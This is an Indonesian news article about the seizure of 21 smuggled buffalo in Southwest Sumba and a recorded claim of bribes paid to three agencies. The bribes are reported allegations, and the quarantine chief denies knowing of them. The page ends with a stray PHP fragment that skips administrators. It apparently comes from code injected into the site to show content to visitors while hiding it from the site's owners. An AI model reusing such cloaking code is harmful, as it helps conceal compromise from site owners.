Hukum

Rekaman Pembicaraan Pemilik Ternak Mengaku Beri Angpao untuk Tiga Institusi dalam Kasus Penangkapan 21 Ekor Kerbau Selundupan Asal Bima, NTB

×

Rekaman Pembicaraan Pemilik Ternak Mengaku Beri Angpao untuk Tiga Institusi dalam Kasus Penangkapan 21 Ekor Kerbau Selundupan Asal Bima, NTB

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Sebuah informasi penting berhasil diperoleh awak media ini berupa rekaman pembicaraan penyelundup 21 ekor kerbau yang mengungkap pemberian angpao untuk tiga institusi, yakni kepolisian, dinas peternakan, dan karantina.

Pemberian angpao ini untuk meloloskan 21 ekor kerbau tersebut agar tetap diturunkan ke jalur tikus di pesisir pantai utara SBD.

Perahu Ria Abadi saat berlabuh di Pelabuhan Waikelo, Jumat (24/10/2025) usai digelandang Unit Polair Polres SBD, ( Foto Menara Sumba )

Percakapan berdurasi empat menit ini memperdengarkan pengakuan penyelundup 21 ekor kerbau yang diangkut Perahu Ria Abadi dan tertangkap Polair pada Jumat (24/10/2025) lalu.

Dalam upaya tindak lanjut penangkapan ini, Polres SBD menyerahkan perahu bersama 21 ekor kerbau ini ke pihak Karantina Satuan Pelayanan Waikelo.

Pihak Karantina diminta untuk memproses sesuai UU Kekarantinaan mengingat 21 ternak ini berasal dari. wilayah zona kuning PMK, yang kemudian ditolak dan diminta untuk kembali ke pelabuhan asal.

Namun kemudian dalam perjalanan perahu itu berbelok arah dan menurunkan 21 ekor kerbau di Pantai Humma, Kodi Utara sesuai pengakuan oknum penyelundup dalam rekaman ini.

“Jadi yang 15 juta itu setor ke siapa?” tanya seseorang dalam percakapan ini.

“Setor ke yang tiga instansi itu,” jawab yang ditanya dan mengaku sebagai pemilik kerbau selundupan.

Salah satu instansi yang disebut dalam percakapan adalah Karantina Satuan Pelayanan Waikelo.

Aktivitas penyelundupan ternak yang berlangsung di jalur tikus pesisir pantai utara SBD.

Atas pengakuan ini, Kepala Karantina Satuan Pelayanan Waikelo, drh. Verderika Lobo yang dimintai tanggapan mengaku kaget dan baru mendengar adanya selentingan terkait “angpao” itu.

“Diberi kepada siapa ya angpao itu?” tanya Verderika, Kamis (06/11/2025).

Ia meminta, oknum yang mengaku telah memberi angpao agar berterus-terang menyebut nama dan tidak menyasar institusi.

Dengan demikian tidak terjadi fitnah terhadap instansi karantina yang selama ini melaksanakan tugas sesuai kewenangan.

“Kami sangat menjunjung tinggi integritas dan menjaga marwah institusi ini. Kalau ada oknum staf kami yang nakal beberkan saja biar terang benderang,” tegasnya.

Ia menyebut, selaku pimpinan ia tidak tahu menahu adanya setoran angpao untuk pihak karantina.

Karena itu dirinya meminta agar pemberi informasi ini menyebut langsung oknum staf Karantina Satuan Pelayanan Waikelo yang menerima setoran angpao.

Ditengarai angpao itu sebagai pelicin untuk memuluskan perjalanan Perahu Ria Abadi berbelok arah dan menurunkan 21 ekor kerbau selundupan di Pantai Humma.

Berdasarkan investigasi awak media, perahu Ria Abadi yang bertolak dari Waikelo menuju Bima pada pukul 04.00 WITA dinihari (Sabtu, 25 Oktober 2025) memutar arah.

Perahu ini kemudian “lego jangkar” di Pantai Humma, Kodi Utara untuk bergegas menurunkan 21 ekor kerbau selundupan lalu kembali ke pelabuhan asal.

Penangkapan 21 ekor kerbau selundupan oleh Unit Polair Polres SBD jadi berita heboh yang kemudian memancing perhatian Gubernur NTT, Emanuel Melkiades Laka Lena.

Orang nomor satu di negeri Flobamora ini pun bertekad untuk menindak tegas aksi penyelundupan ternak asal Bima, NTB yang sudah ditetapkan sebagai daerah zona kuning penyakit mulut dan kuku (PMK).

Upaya ini untuk menjaga status Provinsi NTT sebagai salah satu wilayah yang masih berpredikat zona hijau PMK.

Sementara dari data yang dikeluarkan Dinas Peternakan dan Kesehatan Hewan Kabupaten SBD beberapa bulan lalu, telah ditemukan dua ekor kerbau positif PMK di Bukambero, Kodi Utara.

Hasil positif PMK ini sesuai pemeriksaan laboratorium Veteriner Denpasar Bali terhadap sampel serum kedua ternak tersebut.

Kini, bayang-bayang ancaman wabah PMK tengah menghantui wilayah Sumba Barat Daya akibat aksi penyelundup kerbau dan sapi yang disebut telah berlangsung sejak awal tahun 2024. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>